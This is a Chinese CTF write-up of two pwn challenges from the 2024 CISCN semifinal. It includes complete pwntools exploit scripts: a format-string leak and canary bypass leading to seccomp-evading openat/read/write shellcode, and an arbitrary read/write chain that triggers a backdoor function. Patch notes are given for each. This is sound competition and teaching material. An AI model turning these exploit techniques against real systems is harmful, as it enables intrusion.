2024全国大学生信息安全竞赛(ciscn)半决赛(华东北赛区)Pwn题解

前言

打过的最离谱的AWDP比赛,8个web,2个pwn。

准备了很久高版本IO、LLVM、Protobuf和Kernel,结果出了2个没libc的栈题。

存在一个严重问题,Break和Fix的靶机是同一个,Fix时会把靶机环境替换。

(明显是AWD平台改的,只是把提交别人Flag得分改为提交自己Flag得分,然后加了Check功能)

(这样的话完全可以上传后门函数或者Shell直接拿下自己靶机得到Flag)

往年华东北的Pwn题是所有赛区最难的,今年成最简单的了,给了2个栈签到题。

抛开题目和靶场不说,给茶歇点赞,空调也很给力。(差点冻死

开局5分钟就看到有人把2个pwn题ak了,这里写一下正解。

image-20240624155039133

Pwn1(ret2shellcode)

Break

沙箱保护

开启了沙箱保护,禁用execve和open:

➜  pwn1 seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0011
 0006: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0011
 0007: 0x15 0x03 0x00 0x00000014  if (A == writev) goto 0011
 0008: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0011
 0009: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

main函数

拖入IDA分析:

image-20240624151738503

菜单,1是栈溢出,2是格式化字符串。并且程序没开启NX保护,栈上可以同时写和执行。

利用思路

直接ret2shellcode执行syscall即可打orw,禁用open用openat替换即可。

通过格式化字符串泄露栈地址和canary,然后写入shellcode,覆盖返回地址为栈地址即可。

由于我写的shellcode比较长,分了2段来执行,也可以优化下汇编一次执行完。

exp

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
# p = process([elf.path])
p = remote('192.55.1.156', '80')

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

# gdb.attach(p, 'b *$rebase(0x14B7)\nc')
# pause()

# leak stack
p.sendlineafter(b'name\n', b'1')
p.sendafter(b'name\n', b'%18$p')
p.sendlineafter(b'name\n', b'2')
p.recvuntil(b'0x')
buf_addr = int(p.recv(12), 16) - 0x60
success('buf_addr = ' + hex(buf_addr))

# leak canary
p.sendlineafter(b'name\n', b'1')
p.sendafter(b'name\n', b'a' * 0x49)
p.sendlineafter(b'name\n', b'2')
p.recvuntil(b'a' * 0x49)
canary = u64(p.recv(7).rjust(8, b'\x00'))
success('canary = ' + hex(canary))

# ret2shellcode
shellcode = asm("""
    mov rax, 0x67616c662f2e ;// ./flag
    push rax
    mov rdi, -100
    mov rsi, rsp
    xor rdx, rdx
    mov rax, 257 ;// SYS_openat
    syscall
    mov rdi, rax ;// fd
    mov rsi, {} ;
    mov rdx, 0x20 ;// nbytes
    xor rax, rax ;// SYS_read
    syscall
    mov rax, {}
    push rax
    ret
""".format(buf_addr, buf_addr + 0x60))
print(hex(len(shellcode)))
shellcode = shellcode.ljust(0x48, b'\x00')
shellcode += p64(canary) + p64(0xdeadbeef) + p64(buf_addr)
shellcode += asm('''
    mov rdi, 1 ;// fd
    mov rsi, {} ;// buf
    mov rax, 1 ;// SYS_write
    syscall
    mov rdi, 123 ;// error_code
    mov rax, 60
    syscall
'''.format(buf_addr))
print(len(shellcode))
p.sendlineafter(b'name\n', b'1')
p.sendafter(b'name\n', shellcode)

# gdb.attach(p, 'b *$rebase(0x14D7)')
# pause()

p.sendlineafter(b'name\n', b'3')

p.interactive()

Fix

Fix很简单,直接把0x60栈溢出改为0x40即可。

Pwn2(backdoor)

Break

还原符号表

题目是静态编译的,可以先导入符号表还原符号:

image-20240624152324229

定位main函数

然后根据字符串交叉引用定位到main函数:

image-20240624152349734

提供几个函数,ls为空函数,其它函数逐个分析。

add函数

add函数:

image-20240624152429259

会在qword_4E82F0分配一个空间,每个空间大小为12。

初始位置为8(即size),偏移量为4的地方可以写入8字节数据。

edit函数

edit函数:

image-20240624152621697

任意地址写。

del函数

del函数:

image-20240624152651630

没用,清空数据。

get函数

get函数:

image-20240624152725511

任意地址读。

check函数

check函数:

image-20240624153018445

调用sub_401D6A函数读取flag,并返回flag的前8个字符。

image-20240624153045418

然后,将flag的前8个字符赋值给magic,并调用evalMagic函数:

image-20240624153131638

它会循环四次,判断前4个空间的值是否和magic相等。如果都相等调用后门函数读取Flag并输出:

image-20240624153221143

利用思路

利用思路很简单,任意写、任意读、存在后门函数。

先让程序执行一次check将flag的前8字节读入到可分配的空间中。

然后任意地址读读出来flag的前8字节,此时magic的值即这8个字节。

然后循环计算出magic的值,通过任意地址写满足if的条件触发后门函数即可。

exp

from pwn import *

elf = ELF("./pwn")
# p = process([elf.path])
p = remote('192.55.1.50', '80')
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

# malloc 4 chunks
id = []
for i in range(4):
    p.sendline(b'2')
    p.recvuntil(b'flag\n')
    p.recvuntil(b'flag\n')
    p.recvuntil(b'flag\n')
    p.recvuntil(b'flag\n')
    p.recvuntil(b'flag\n')
    p.recvuntil(b'flag\n')
    p.recvuntil(b':')
    id.append(int(p.recvuntil(b'\x0d\x0a\x3d\x3d\x3d\x3d\x3d', drop=True)[-15:]))

# gdb.attach(p, 'b *0x402117\nc')
# pause()

for x in id:
    print(hex(x))

# leak flag
# p.sendline(b'5')
# p.sendline(str(id[3] + 12).encode())
# magic = 0x4142467b67616c66

# arbitrary_write
n64 = lambda x: (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFF
magic = 0x4142467b67616c66
for i in range(4):
    magic = (n64(n64(0x5851F42D4C957F2D * magic) + 12345)) & 0x7FFFFFFFFFFFFFFF
    p.sendline(b'3')
    p.sendline(str(id[i]).encode())
    p.sendline(str(magic).encode())

# check
p.sendline(b'6')

p.interactive()

Fix

Fix实在没什么好说的,后门函数是作者故意写的,而且留了可以任意写和读的漏洞。

刚开始想着正解把任意写和任意读迁移到eh_frame段执行正确的清空和读取操作,但是check失败了。

最后想想这个后门函数也不合理,直接把后门函数nop掉就防御成功了,也就没再深究,很无语。

题目附件

关注公众号【Real返璞归真】回复【ciscn】下载题目附件。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值